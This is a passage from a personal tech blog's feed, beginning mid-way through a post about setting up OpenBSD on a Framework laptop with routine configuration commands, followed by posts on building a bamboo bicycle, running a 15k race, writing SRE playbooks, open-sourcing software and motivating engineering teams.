&lt;p&gt;I then tried reseating all the components, and it happened again. I found a &lt;a href=&quot;https://community.frame.work/t/instant-power-loss/13474/9&quot;&gt;scary sounding forum thread&lt;/a&gt;, but it wasn&#39;t a complete match for what I was seeing. The power loss only seemed to happen while I was typing, and only after a couple of minutes.&lt;/p&gt;
&lt;p&gt;In my 3rd install attempt, everything worked mysteriously. It was only later that I realized I was battling the same touchpad power event [https://jcs.org/2021/08/06/framework](detailed here). After the installation, I never encountered it again.&lt;/p&gt;
&lt;p&gt;One post-installation surprise was that the Intel Wireless card didn&#39;t work - due to a missing firmware blob. I used an older EDIMax USB wireless card, and not only did it work great, but it magically allowed the Intel wireless card to work properly as OpenBSD downloads the necessary drivers during boot time via &lt;code&gt;fw_update&lt;/code&gt;: if it has a working internet connection to begin with.&lt;/p&gt;
&lt;h2&gt;Post-Installation&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/nFsNRGrR.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I floundered about for a bit trying to choose which desktop environment to use, but eventually settled on &lt;a href=&quot;https://xfce.org/&quot;&gt;XFCE&lt;/a&gt;. I never did get Gnome to work, but MATE worked properly once I ran:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;doas rcctl enable messagebus avahi_daemon
doas rcctl start messagebus avahi_daemon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I was very impressed that nicities such as hot-plugging a new display and my gnubby key worked out of the box. The OpenBSD of 15 years ago wouldn&#39;t have. Since this was a laptop, I enabled power management, though I&#39;m not honestly not sure if it helps at all:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;rcctl enable apmd
rcctl set apmd flags -A
rcctl start apmd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the machine was installed, I configured &lt;code&gt;doas&lt;/code&gt; to allow the users in the &lt;code&gt;wheel&lt;/code&gt; group (me)  to easily execute commands as &lt;code&gt;root&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;echo &amp;quot;permit persist :wheel&amp;quot; &amp;gt; /etc/doas.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I set the hostname:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;echo wintermute.chainguard.dev | sudo tee /etc/myname
sudo hostname $(cat /etc/myname)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I copied the network configuration from the EDIMax USB ethernet to the Intel card I was using:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;doas cp /etc/hostname.urtwn0 /etc/hostname.iwx0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;OpenBSD disables audio/video recording by default, which makes it difficult to use video-conferencing software. I added these values to &lt;code&gt;/etc/sysctl.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;kern.audio.record=1
kern.video.record=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To allow regular users access to the video device, you&#39;ll need to set ownership -- even after every upgrade:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo chown $USER /dev/video*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I configured OpenBSD to default to using my USB microphone for input and output. Oddly enough, there doesn&#39;t seem to be an easy way to enumerate audio devices in OpenBSD, so none of the graphical audio switchers work well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;doas rcctl set sndiod flags -f rsnd/0 -F rsnd/1
doas rcctl reload sndiod
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I couldn&#39;t get screen sharing to work in Google Meet in either Chrome or Firefox, but eventually made it function in Firefox by disabling the &lt;a href=&quot;https://man.openbsd.org/pledge.2&quot;&gt;pledge&lt;/a&gt; sandbox, as per the &lt;a href=&quot;https://openports.pl/path/www/mozilla-firefox&quot;&gt;mozilla-firefox port docs&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo disable | doas tee /etc/firefox/pledge.gpu
echo disable | doas tee /etc/firefox/pledge.content
echo disable | doas tee /etc/firefox/pledge.main
echo disable | doas tee /etc/firefox/pledge.rdd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To keep Firefox and other behemoths from suddenly crashing, I joined the &lt;code&gt;staff&lt;/code&gt; group and increased the per-process memory limits in &lt;code&gt;/etc/login.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;staff:
	:datasize-cur=16G:
	:datasize-max=infinity:
	:maxproc-max=512:
	:maxproc-cur=256:
        :openfiles-cur=4096:
        :openfiles-max=8192:
	:stacksize-cur=32M:
	:ignorenologin:
	:requirehome@:
	:tc=default:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To play music, I installed &lt;a href=&quot;https://github.com/hrkfdn/ncspot&quot;&gt;ncspot&lt;/a&gt;, a terminal Spotify player. The Spotify web client requires DRM (Digital Rights Management) extensions, which are not supported on OpenBSD. ncspot requires extended terminal settings to avoid corrupt output: &lt;code&gt;env TERM=xterm-256color LANG=en_US.UTF-8&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Annoyances&lt;/h2&gt;
&lt;p&gt;The current annoyances with my configuration are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fan control: The laptop fan fans seem overactive in OpenBSD, especially given the normal temperature I&#39;ve seen. This is noticeable when watching a video stream.&lt;/li&gt;
&lt;li&gt;Chromium / Google Meet: I never did get screen sharing to work, receiving only the following error: &amp;quot;Can&#39;t share your screen: Sorry, an error has occurred when screensharing.&amp;quot; I was able to get it to function in Firefox by disabling pledge.&lt;/li&gt;
&lt;li&gt;Zoom: With Firefox, Zoom reports &lt;code&gt;Zoom is not supported on your operating system&lt;/code&gt;, but can be accessed using a User-Agent switcher extension. With Chromium, Zoom starts, but audio input doesn&#39;t work, reporting &lt;code&gt;Your browser doesn&#39;t support using computer&#39;s Audio device&lt;/code&gt;. I haven&#39;t tried a user-agent switcher in Chromium.&lt;/li&gt;
&lt;li&gt;Editors: While NeoVim is good, I miss VSCode. Perhaps &lt;a href=&quot;https://github.com/coder/code-server&quot;&gt;code-server&lt;/a&gt; will work with some elbow grease. It requires a newer NodeJS than is available in OpenBSD packages, and my attempt to build an updated resulted in SIGABRT issues.&lt;/li&gt;
&lt;li&gt;Cloud Native: Many common cloud-native tools only exist in a Linux-based universe. Don&#39;t expect Docker, Kubernetes, Podman, LIMA, kind, minikube, or ilk to function in OpenBSD. You can still build &amp;amp; push containers using &lt;a href=&quot;https://github.com/google/ko&quot;&gt;ko&lt;/a&gt; and sign containers using &lt;a href=&quot;https://choosehappy.dev/posts/2022/openbsd-on-the-framework-laptop/github.com/sigstore/cosign/&quot;&gt;cosign&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Resume after Suspend: I don&#39;t know if it&#39;s a thing with encrypted volumes, but I have yet to successfully resume after suspend: The fan spins, I see a login prompt, but am unable to type at it. I haven&#39;t tried very hard to fix this, but it does mean scarier &lt;code&gt;fsck&lt;/code&gt; sessions at boot time than I&#39;m used to.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;In Closing&lt;/h2&gt;
&lt;p&gt;I found that most of the heartache in OpenBSD is related to one of two things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using software that isn&#39;t popular with other OpenBSD users: NodeJS, for instance.&lt;/li&gt;
&lt;li&gt;Paranoid security defaults that can be overcome&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry><entry>
    <title>Hand-carving a bicycle</title>
    <link href="https://choosehappy.dev/posts/2022/handcarved-bicycle/"/>
    <updated>2022-01-20T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2022/handcarved-bicycle/</id>
    <content xml:lang="en" type="html">&lt;p&gt;After dumping 60 hours into hand-carving a custom bicycle frame, I can say with high probability that you probably shouldn&#39;t do so. Before I convince you of this, let me describe how I went about it.&lt;/p&gt;
&lt;h2&gt;A brief history of my bike builds&lt;/h2&gt;
&lt;p&gt;Five years ago, while recovering from a broken foot, I ordered the &lt;a href=&quot;https://calfeedesign.com/calfee-bamboo-diy-kit/&quot;&gt;Calfee DIY Bamboo Bicycle Kit&lt;/a&gt; to give me something to do. The kit provides the bamboo, the tools, the diagrams, and instructional videos. It&#39;s everything you need, except that the DIY jig was frustrating, as the connection points easily moved around when taped down. I started building a mountain bike but then turned it into a monster-cross bike (think cyclocross with 29&amp;quot; MTB tires):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/handcarved-bicycle/bigpanda.jpg&quot; alt=&quot;Big Panda&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some discoveries from this build experience were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Drop-bar bicycles and straight-bar bicycles have different geometries&lt;/li&gt;
&lt;li&gt;Building lugs out of solely fiberglass casting tape is unsuitable for long-term use&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The bike lasted about two years before the poles became loose within the lugs. Thankfully this waited until I was in the middle of building a second bamboo bicycle, using the &lt;a href=&quot;https://bamboobicycleclub.org/&quot;&gt;Bamboo Bicycle Club kit&lt;/a&gt;. While the jig was equally janky, after some significant reworking — it&#39;s a fantastic road bike. I did use a different technique for building up the lugs, with an inner flax layer and an outer hemp layer:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/handcarved-bicycle/wonkydonky.jpg&quot; alt=&quot;Wonky Donky&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&#39;ve also since built a city bike using the &lt;a href=&quot;https://bamboobee.net/product/biy-bamboo-bike-frame-kit/&quot;&gt;Bamboo Bee kit&lt;/a&gt;. This kit had pre-cut poles and pre-assembled connection points for the head tube, bottom bracket, and dropouts, with hemp for the lugs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/handcarved-bicycle/splinter.jpg&quot; alt=&quot;Splinter&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Dreaming up a new geometry&lt;/h2&gt;
&lt;p&gt;Since the destruction of Big Panda, my monster-cross bike, I&#39;ve wanted something for hitting up the local gravel roads. Gravel bikes are all the rage now, so I knew there would be a lot of bikes I could get inspiration from. I really like the look and characteristics of the &lt;a href=&quot;https://www.canyon.com/en-us/gravel-bikes/bike-packing/grizl/&quot;&gt;Canyon Grizl&lt;/a&gt;, so after studying the competition, I decided to mostly ape it&#39;s geometry:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/handcarved-bicycle/grizl.jpg&quot; alt=&quot;Canyon Grizl&quot; /&gt;&lt;/p&gt;
&lt;p&gt;One major departure from the Grizl is that I wanted something more adept at bikepacking and long-distance travel, so I decided to give it slightly longer chainstays (435mm -&amp;gt; 440mm). I also had to change the trail from 68 to 60 as I couldn&#39;t source a comparable carbon fork. Since I had the part handy, I decided to use a 150mm head tube instead of the 138mm, which should make it more comfortable. I also opted to use a 73mm bottom-bracket to give more tire clearance than a more typical 68mm road bike, or the 86mm press-fit that the Grizl uses.&lt;/p&gt;
&lt;p&gt;So, we&#39;re already talking about a bike with very different riding characteristics. The final geometry underwent further changes as the cuts weren&#39;t always exactly to plan, but this is roughly what I ended up with after plugging my numbers into BikeCAD:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/handcarved-bicycle/bikecad.png&quot; alt=&quot;BikeCAD screenshot&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Hand-carving&lt;/h2&gt;
&lt;p&gt;For the previous bikes, I&#39;ve used the tube-cutting jig provided by Calfee. It&#39;s pretty easy: you grab the correct diameter (38mm or 48mm) hole saw blade, mount both poles together, mark the angle, and cut. The biggest risk is accidentally reversing the angle. This time, I decided to omit both a bamboo-specific jig and the tube-cutting jig, to practice some of my new-found woodworking skills.&lt;/p&gt;
&lt;p&gt;To start with, I&#39;m using a fairly standard bicycle jig from &lt;a href=&quot;https://www.brewracingframes.com/&quot;&gt;Brew Bikes&lt;/a&gt;, which is unfortunately designed for use with perfectly cylindrical metal tubes. Thankfully, this problem only becomes an issue with the seat tube. Instead of a tube-cutting jig, I&#39;m using some japanese hand-saws and lignivorous 40-grit sandpaper wrapped around similarly sized tubes (47mm, 38mm, etc). The process is simple: cut the pole and the correct center points, draw the diameter of the joining tube, make some diagonal cuts with the hand-saw, and sand it into a perfectly round hole.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/handcarved-bicycle/cut.jpg&quot; alt=&quot;Example cut&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It turns out that wanting to get millimeter-level perfection with hand-carved items is incredibly time consuming. This was doubly the case with my tubes, as it contained both a bamboo outer tube and a carbon-fiber inner tube — a variation that the folks at Calfee wanted me to try. An additional complication is that bamboo itself isn&#39;t round, nor do the sand-paper tube diameters directly match, so there was a lot of time spent using chalk to indicate where the two tubes met in order to improve the connection:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/handcarved-bicycle/chalk.jpg&quot; alt=&quot;Chalking&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;The result so far&lt;/h2&gt;
&lt;p&gt;As I mentioned before, the Brew Bikes seat jig doesn&#39;t work well for bamboo bikes. While it&#39;s excellently designed, it only works for cylindrical tubes in 3 sizes: 28.6, 31.75, and 35mm (optional). The seat tube I&#39;m working with is a chonky 42mm. I ended up building my own jig adapter, and after 3 attempts, I finally ended up building a version that allowed me to precisely lock-in the seat angle while I kept removing and adjusting the seat tube.&lt;/p&gt;
&lt;p&gt;Anyways, after roughly 60 hours of work to setup a jig and carve the wood, I have something that looks like a front triangle:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/handcarved-bicycle/frame.jpg&quot; alt=&quot;Frame&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The next step is the rear triangle, which is particularly challenging for a gravel bike. One has to finely thread the chainstay between the pedals and larger tires that a gravel bike has. My goal is to fit 700x45mm tires, but 42mm is likely all I can safely get away with.&lt;/p&gt;
&lt;p&gt;On my next bamboo bike build, I&#39;ll definitely use a tube cutter jig to save time.&lt;/p&gt;
</content>
  </entry><entry>
    <title>My first 15k run</title>
    <link href="https://choosehappy.dev/posts/2022/first-15k/"/>
    <updated>2022-01-10T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2022/first-15k/</id>
    <content xml:lang="en" type="html">&lt;p&gt;Yesterday, I ran further than I have ever run before: 15k (9.6mi). Today, my legs feel sore and stiff, as if I am walking around on knees made up of chipped pallasite.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/first-15k/miles-date.png&quot; alt=&quot;Miles vs. Date&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I trained for two months, but as you can see from the above chart, I only ran past the 7-mile range once.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/first-15k/femur.png&quot; alt=&quot;femur.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can make all sorts of excuses as to why I didn&#39;t train more, but a significant reason for it was pain. After about 5 miles, I began to feel significant pain where the (medial|lateral) collateral ligaments met the fibula. This pain would last for days after a run. Running the actual Hot Chocolate 15k was no exception.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/first-15k/start.jpg&quot; alt=&quot;The starting line&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The day of the run was compatively smooth. The starting line was only a 20-minute walk away, so I went directly in without checking any gear. Once at the starting point, the line was divided up in groups based on the expected lap time we signed up with: 12:00/mile pace, in my case. 14-minutes after the first group left, ours did as well.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/first-15k/windmill.jpg&quot; alt=&quot;The famous windmills of Golden Gate Park&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The actual run didn&#39;t cover any new ground for me, as Golden Gate Park has been my stomping ground for cycling and running for the last 10 years. The weather was a perfect 55&#39;F (13&#39;C), and the sun was out. Roughly every 3 miles there was a rest stop with water, gummy bears, marshmellows, and best of all: bathrooms!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/first-15k/beach.jpg&quot; alt=&quot;Runners coming and going along Ocean Beach&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The detour down the Great Highway toward the Zoo gave us a glimpse of the ocean, albeit buried behind the sand dunes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/first-15k/selfie.jpg&quot; alt=&quot;Tom and I on the Great Highway&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At the 7-mile mark, I began to feel tired - like I really had to push myself up the hill to go on. At the 8-mile mark, I was tired, but everything was autopilot.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/first-15k/trio.jpg&quot; alt=&quot;Tom, Little Bird, and myself&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At 9-miles, some familiar folks were waving to me: my wife &amp;amp; kids! It wasn&#39;t difficult to coax the youngest to run the final 0.6mi (1km) to the fininsh line with me.&lt;/p&gt;
&lt;p&gt;So, why did I run? I blame my good friend and long-time cycling partner, Tom. He&#39;s been running the Hot Chocolate for 7 years now. He had previously coaxed me into it 5 years ago, but unfortunately I broke my foot a few weeks ahead of the actual run.&lt;/p&gt;
&lt;p&gt;Would I recommend the Hot Chocolate Run? Most definitely. The experience certainly has me thinking about the viability of running a Half Marathon later this year.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2022/first-15k/finish.jpg&quot; alt=&quot;Tom and I, as the adrenaline wears down&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Special thanks to Tom Kocon &amp;amp; Peter van Vugt for all the peer pressure and training.&lt;/p&gt;
</content>
  </entry><entry>
    <title>The anatomy of a great playbook entry</title>
    <link href="https://choosehappy.dev/posts/2021/the-anatomy-of-a-great-playbook-entry/"/>
    <updated>2021-05-21T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2021/the-anatomy-of-a-great-playbook-entry/</id>
    <content xml:lang="en" type="html">&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2021/the-anatomy-of-a-great-playbook-entry/H0yXNAle.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;What if you could easily reduce the length of outages by 3X?&lt;/p&gt;
&lt;p&gt;According to the &lt;a href=&quot;https://sre.google/sre-book/introduction/&quot;&gt;SRE book&lt;/a&gt;, &amp;quot;recording the best practices ahead of time in a playbook produces roughly a 3x improvement in MTTR&amp;quot;.  This improvement mirrors my experience with well-written playbooks.&lt;/p&gt;
&lt;p&gt;So what makes a playbook entry &amp;quot;great&amp;quot;?&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2&gt;Philosophy&lt;/h2&gt;
&lt;p&gt;Remember how you felt in your first on-call rotation, when you were paged at 3am for a system you barely understood? &lt;strong&gt;Write your playbook entries for that person.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Playbooks should provide just enough context to confidently work through an incident, without providing extraneous content that will be a burden to keep up-to-date.&lt;/p&gt;
&lt;p&gt;Be wary of playbooks that offer exact remediation steps: these are often a sign of sacrificing human blood to a system that should be automated.&lt;/p&gt;
&lt;h2&gt;Discovery&lt;/h2&gt;
&lt;p&gt;Alerts should always include the relevant playbook URL. Otherwise, you will introduce human error by introducing the possibility of the responder following the incorrect playbook.&lt;/p&gt;
&lt;p&gt;Consider including the alert name in the playbook URL to make it easier to find. This also the alert template to be templatized in some systems. For example: &lt;code&gt;https://playbooks/%%ALERT_NAME%%&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Structure&lt;/h2&gt;
&lt;p&gt;Playbooks are the easiest to scan through in an emergency when they have a consistent structure. The exact best structure may differ depending on the organization, but this is what has worked for me:&lt;/p&gt;
&lt;p&gt;The structure that works best is highly dependent on your team&#39;s culture, but this is what has worked for me:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity&lt;/strong&gt;: How to assess the criticality of this alert from your team&#39;s point of view. Is it a slow-burning issue that generates tickets, a critical paging event, or does the severity depend on the duration?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Impact&lt;/strong&gt;: How are your customers impacted by this alert? Often a one-liner, for example: &amp;quot;None immediately. If ignored, may result in revenue-impacting customer provisioning failures due to resource exhaustion&amp;quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Metrics&lt;/strong&gt;: 1-2 graphs showing the impact, duration, and if the effect is worsening. Inline live-updating graphs work best, as they can prevent the incident responder from making unnecessary changes when the problem is dissipating. Hyperlinks are nearly as good.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Background&lt;/strong&gt;: What should a new person on the on-call rotation know about this system? Be terse, providing a hyperlink for more information and/or an architectural diagram. To reduce maintenance burden and cognitive load during incident response, share this section between multiple playbook entries via templating.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;: What are the recommended steps to mitigate the issue? This is often in checklist-style and may include steps for rolling back or redirecting traffic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Debugging&lt;/strong&gt;: How should one get started digging into why this alert is firing? For example:
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Check for recent fatal error messages:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Check the cluster for free disk space:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Check url to see when the last release went out&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;References&lt;/strong&gt;: Links to the alert configuration, or code that generates the metric used by the alert, can be useful in understanding the underlying behavior. Post-mortems can also be valuable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Formatting&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Be concise&lt;/li&gt;
&lt;li&gt;Bulleted or numbered lists instead of paragraphs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a href=&quot;https://kubernetes.io/docs/contribute/style/style-guide/&quot;&gt;Kubernetes Documentation Style Guide&lt;/a&gt;  has great recommendations for technical documentation, but the most important for playbooks is: &lt;strong&gt;make your commands trivial to copy and paste.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Do not include the command prompt. S
&lt;ul&gt;
&lt;li&gt;See: &lt;a href=&quot;https://tanelpoder.com/posts/how-to-stay-safe-in-shell/&quot;&gt;data loss due to &amp;gt; character in prompt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Separate commands from example output&lt;/li&gt;
&lt;li&gt;Do not include real but unrelated host, site, or cluster names in your example command.
&lt;ul&gt;
&lt;li&gt;I once saw an outage spread when a responder copied an example command with the intent to edit the hostnames before pressing enter. They pressed enter first.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Maintenance&lt;/h2&gt;
&lt;p&gt;Keep playbooks up to date by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Regularly scheduled &lt;a href=&quot;https://choosehappy.dev/posts/2021/the-anatomy-of-a-great-playbook-entry/%5Bhttps://sre.google/sre-book/accelerating-sre-on-call/&quot;&gt;&amp;quot;Wheel of Misfortune&amp;quot; role-playing game sessions&lt;/a&gt;, where the previous on-call engineer walks the current on-call engineer through a pager response scenario.&lt;/li&gt;
&lt;li&gt;Post-mortem action items that suggest playbook updates to decrease the resolution time for future pages for the same alert.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Big-bang efforts such as auditing all of the playbooks for relevance are best made once initially, to get the playbooks into the same structure. I have never seen quarterly playbook reviews work.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Special thanks to &lt;a href=&quot;https://josebiro.medium.com/&quot;&gt;Joseph Bironas&lt;/a&gt; for editorial feedback and ideas for this article.&lt;/em&gt;&lt;/p&gt;
</content>
  </entry><entry>
    <title>Choose Open Source</title>
    <link href="https://choosehappy.dev/posts/2021/choose-open/"/>
    <updated>2021-03-10T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2021/choose-open/</id>
    <content xml:lang="en" type="html">&lt;h2&gt;Why adopt open-source tools?&lt;/h2&gt;
&lt;p&gt;On a long enough timescale, open-source always wins.&lt;/p&gt;
&lt;p&gt;Even with 100,000 engineers, no single company can compete in the long-term with a worldwide community of millions of software engineers operating around the clock.&lt;/p&gt;
&lt;p&gt;All companies eventually perish. Corporations are constantly reevaluating and adjusting their priorities to meet business needs. As such, it is always unwise to tie one&#39;s fortune up to another&#39;s success. Ask anyone who adopted ColdFusion.&lt;/p&gt;
&lt;p&gt;With open-source, when the original authors perish with open-source, the community will inevitably breathe life back into the project.&lt;/p&gt;
&lt;h2&gt;Why should we open-source our software?&lt;/h2&gt;
&lt;p&gt;In 2021, the only places where a closed-source strategy is still particularly effective are applications designed to have a short shelf-life (1-5 years) and gaming. In some industries, such as developer tooling, a closed-source strategy is especially detrimental, as you are hurting the demographic that would otherwise contribute to your success.&lt;/p&gt;
&lt;p&gt;In the short-term, salary is often a more effective means of rallying people around a single goal. If you intend on your software being relevant for longer than this period, it should probably be open-source. This effective time horizon of closed-source software decreases yearly as open-source tooling gets better and community adoption grows.&lt;/p&gt;
&lt;p&gt;Paid participation is especially critical when the project requires experts from people outside of the software engineering community, such as artists and musicians. The combination of artistic contributions and short time-scale is why popular open-source games are rare.&lt;/p&gt;
&lt;h2&gt;Arguments against open-sourcing&lt;/h2&gt;
&lt;h3&gt;1. There is no benefit&lt;/h3&gt;
&lt;p&gt;Arguable, but it is also unlikely you will suffer because of it either. In the unlikely scenario where you receive no significant external contributions, your project will improve significantly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your onboarding docs will improve.&lt;/li&gt;
&lt;li&gt;Your software will become more modular &amp;amp; portable.&lt;/li&gt;
&lt;li&gt;Craftsmanship will improve with the knowledge that anyone in the world can see and comment on their code.&lt;/li&gt;
&lt;li&gt;It will be easier to attract talent&lt;/li&gt;
&lt;li&gt;Talent will already familiar with your project&lt;/li&gt;
&lt;li&gt;Reduced on-boarding time&lt;/li&gt;
&lt;li&gt;Drive-by contributors will continually address rough edges&lt;/li&gt;
&lt;li&gt;Improved test-coverage to defend against incorrectly written PR&#39;s&lt;/li&gt;
&lt;li&gt;Faster and more reliable release automation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the same way that scientific advances from space exploration bubble down into the lives of everyone on the planet, the additional focus on documentation, testing, and code quality bubbles down into an improved product and better engineers.&lt;/p&gt;
&lt;h3&gt;2. Accepting patches incurs too much overhead&lt;/h3&gt;
&lt;p&gt;You are already accepting patches internally. It is no more difficult to code review external contributions than code from members on your team, yet you do so as it builds a better product.&lt;/p&gt;
&lt;h3&gt;3. The code quality of contributions is too low&lt;/h3&gt;
&lt;p&gt;In my experience, it&#39;s no worse than accepting patches from a new member of your team. The best defense against this is automated testing to enforce code quality and documenting standards: These are also things that you should be doing for closed-source software projects.&lt;/p&gt;
&lt;h3&gt;4. Open-sourcing will undermine our security model&lt;/h3&gt;
&lt;p&gt;No more than a debugger will. If open-source worries you from a security perspective, it may be a sign that your security model is flawed.&lt;/p&gt;
&lt;h3&gt;5. Open-sourcing gives away our competitive advantage&lt;/h3&gt;
&lt;p&gt;Sometimes, but not as often as you might think.&lt;/p&gt;
&lt;p&gt;Your competitive advantage is your people and your ability to execute. Consider whether it makes sense to open-source your platform but limit the availability of certain features or datasets to paying customers.&lt;/p&gt;
&lt;h2&gt;What else in it for me?&lt;/h2&gt;
&lt;p&gt;We&#39;ve spoken a lot about why open-source is good for community and longevity&lt;/p&gt;
&lt;p&gt;https://www.youtube.com/watch?v=ZtYJoatnHb8&lt;/p&gt;
</content>
  </entry><entry>
    <title>Motivating Software Engineering Teams</title>
    <link href="https://choosehappy.dev/posts/2021/swe-motivation/"/>
    <updated>2021-03-09T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2021/swe-motivation/</id>
    <content xml:lang="en" type="html">&lt;p&gt;&lt;strong&gt;Empathy, purpose, craftsmanship.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Empathy&lt;/h2&gt;
&lt;p&gt;The key to motivating a team is to identify what motivates the people that make up the team, with enough empathy to put yourself in their shoes.&lt;/p&gt;
&lt;p&gt;Everyone wants to be happy, but everyone has their unique path to happiness. Learning the career and life goals of everyone on the team allows you to prime the right tasks for them at the right time.&lt;/p&gt;
&lt;p&gt;Asking people directly, &amp;quot;What motivates you as a software engineer?&amp;quot; will often unlock the right set of hints for how to frame messages in a way that works for them. However, to get an honest and complete answer, one needs to build rapport.&lt;/p&gt;
&lt;h2&gt;Building rapport&lt;/h2&gt;
&lt;p&gt;Building rapport with the team is critical to establishing the psychological safety required for folks to feel comfortable sharing their real thoughts. My advice is to model and build a real personal connection that supersedes the synthetic relationship of the manager to the direct report.&lt;/p&gt;
&lt;p&gt;My strategy for building connection is: demonstrating care, showing vulnerability, and deep listening. Proving that you care is something that you cannot fake. If you cannot care deeply for each person on your team, you will fail to motivate your team in the long term.&lt;/p&gt;
